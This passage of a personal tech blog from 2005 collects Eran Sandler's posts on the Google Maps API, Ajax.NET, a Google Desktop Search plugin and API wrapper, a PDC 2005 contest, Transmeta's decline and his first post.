Expect to see me with my Geeky Google T-Shirt rollering around Tel Aviv on my newly bought K2 Exo 4.0 Rollerblades (I’m still a rollerblades virgin, so you’ll probably see me more on my ass than actually roller blading). Google Maps API Finally Released On another Google note, Google released their first version of the public API for Google Maps. Now that’s something I’ve been waiting to see. The only thing I find missing is the Search Ability they have in their own Maps site which enables you to write something like “Pizza Place, Washington D.C., USA” and get all Pizza places in Washington D.C.. They don’t expose it yet, but they do give a link to a query in Google for free geocoding sites that can give you geographic locations for streets and places. I wonder if I can cook up a web site that will let you do a few things: Search for location using text queries (like “Pizza Place, Washington D.C., USA”) and show them on the map (similar to Google Maps) Let you add new places by marking them on the map, adding their address and some text to them and saving them to my database. Add a Web Service that will enable everyone to query my database. What do you think? --- ## AJAX Published: 2005-06-30 Tags: .NET, AJAX, AJAX.NET, ASP.NET, Microsoft, MS Its nice to see that MS has finally concluded that AJAX is a technology that is worthy of getting frameworktized into the .NET Framework :-) If you don’t want to wait for “Atlas” and you need to use this technology in .NET Framework 1.1 I would like to suggest Ajax.NET written by Michael Schwartz. It’s well designed and written piece of software which is now even open sourced (Thanks Michael!). I’m sure MS will borrow a few things from it for “Atlas”. --- ## My so called Google Desktop Search Plugin Published: 2005-06-21 Tags: GDS, Google, Google-Desktop-Search, Google-Search-API-.NET-Wrapper, T-Shirt If you remember, I talked in one of the previous posts about the Google Search API .NET Wrapper I wrote that includes a single coherent API for both Google Desktop Search (GDS) and Google Web Search (GWS)? I submitted it to the Google Deskop Search Plugin program almost a month ago and I just got an Email saying that it got in. You can check it out here. How lovely :-) The Email said I get a Google Desktop Search T-Shirt for free, but when I entered the site and entered the coupon code it said that there are no more T-Shirts like that available. Bummer. I Emailed them and hopefully I’ll get a response soon. I’ll keep you posted if I’ll actually get a T-Shirt out of this. Another thing I got was $20 for AdWords. Haven’t used it before but it looks interesting. Perhaps I’ll publish my other blog, Advanced .NET Debugging, through it. --- ## PDC 2005 – What shall I do? Published: 2005-06-21 Tags: Microsoft, MS, PDC, PDC2005 I just read in my Roy’s blog about the contest Channel9 is holding in which you can get free lodging, enterance and $1000 travel fair for the PDC 2005. You can do that by either blogging your way in or code your way in using Visual Studio 2005 Beta 2 and the Shareware Starter Kit. Now I’m in a bit of a dilema. a) I doubt that my current employer will pay for this. b) If I’ll go privately it will cost a lot of money and I will have to use my vacation days (which essentially can also be translated into money) which I want to utilize to better things like go to Thailand ;-). c) I can try and blog myself in, but I doubt I will be able to compete with anyone. d) I can write something up with the Shareware starter kit. I guess option “D” is the most viable one for me but now I need a good idea, plus I need this to be a shareware (even though I don’t actually want to do this to get money). I can understand that the reason behind this competition is to get some more software written in Visual Studio 2005 and to promote the Shareware Starter Kit idea (plus its supporting 3rd party hosts). Maybe they should change it into a DonateWare (of the good kind) competition. All entries MUST have their payments donated to some organization that can receive donations using PayPal or something like that. Of well… If you have any interesting ideas, be sure to Email them to me :-) --- ## Google’s Search APIs Published: 2005-06-08 Tags: GDS, Google, Google-Desktop-Search, Google-Search-API-.NET-Wrapper I’ve been messing around lately with Google’s Search APIs including the Google Desktop Search (GDS) and Google Web Search (GWS). This is part of some experimentations I’m performing in regards to productivity and search engine/applications. I’ve wrapped both GDS and GWS APIs in a nice .NET assembly (source code in C#). Both of them have the same interface and can generate the result as a .NET DataSet, as an XMLDocument and return the raw format that is being returns from both GDS (string) and GWS (their result structure). I think its useful for people that wants to access both searches in the same API and integrate this into their applications. So… here it is. Click Here Download GoogleSearch assembly (both source and binary) Enjoy and don’t forget to send feedback! --- ## Transmeta – the end of an era?! Published: 2005-06-06 Tags: CPU, Transmeta I just read here about the slow decline of Transmeta and its risk of closing its doors for good. I first heard on Transmeta when the hype around Linus Torvalds’ decision to work there started. I checked their web site and continuously monitored their progress because I really thought they had something good going. They actually innovated the industry and left their mark. You can see it in all the various power consumption technologies that all the big players (Intel, AMD and IBM) have produced since. I personally was able to get a hold of a reference board with a Crusoe TM5800 1Ghz and its simply a marvelous piece of electronics capable of doing the same stuff as a 1.8Ghz Mobile P4 with half the heat emission and even less than that power consumption. This translates into may thing in the real world that should not be taken lightly such as: Less power consumption = Less electricity used = Less polution. Less heat emission = Less noisy fans (and again less power consumption) = Less noise polution. This is actually a piece of technology that can help the environment. Just think about it! I read in the article that companies like Sony, Fujitsu and NEC licenses the LongRun2 technology but non of them rolled out anything with it. I do hope that the industry won’t let the technology and innovation in this field die. Hopefully, one of the big players in the market (IBM, Intel or AMD) will be smart enough to buy the Transmeta IP so that everyone of us could benefit. --- ## Don’t you just hate first posts? Published: 2005-06-05 Hello. My name is Eran Sandler and I’m a serial blog killer. (you should say “Hello Eran, we love you” at this point). I create and kill blogs all the time but I do hope this blog will be different. First of all, the blogger interface is much better than the last few places I’ve bloged before, so that will probably get me to write a little more. I did notice, however, that this nice editor that I’m writing in is *NOT* working with FireFox and that’s a shame (at least I think so). So, blogger people, please fix this… Besides that I’m a geek and I do geeky things like write code and mess around with computers. I do plan, however, to make this a professional / geeks / useful place for info blog instead of all the “My boyfriend left me” blogs. So it might be interesting to a few people (very few people). That’s it for a first post.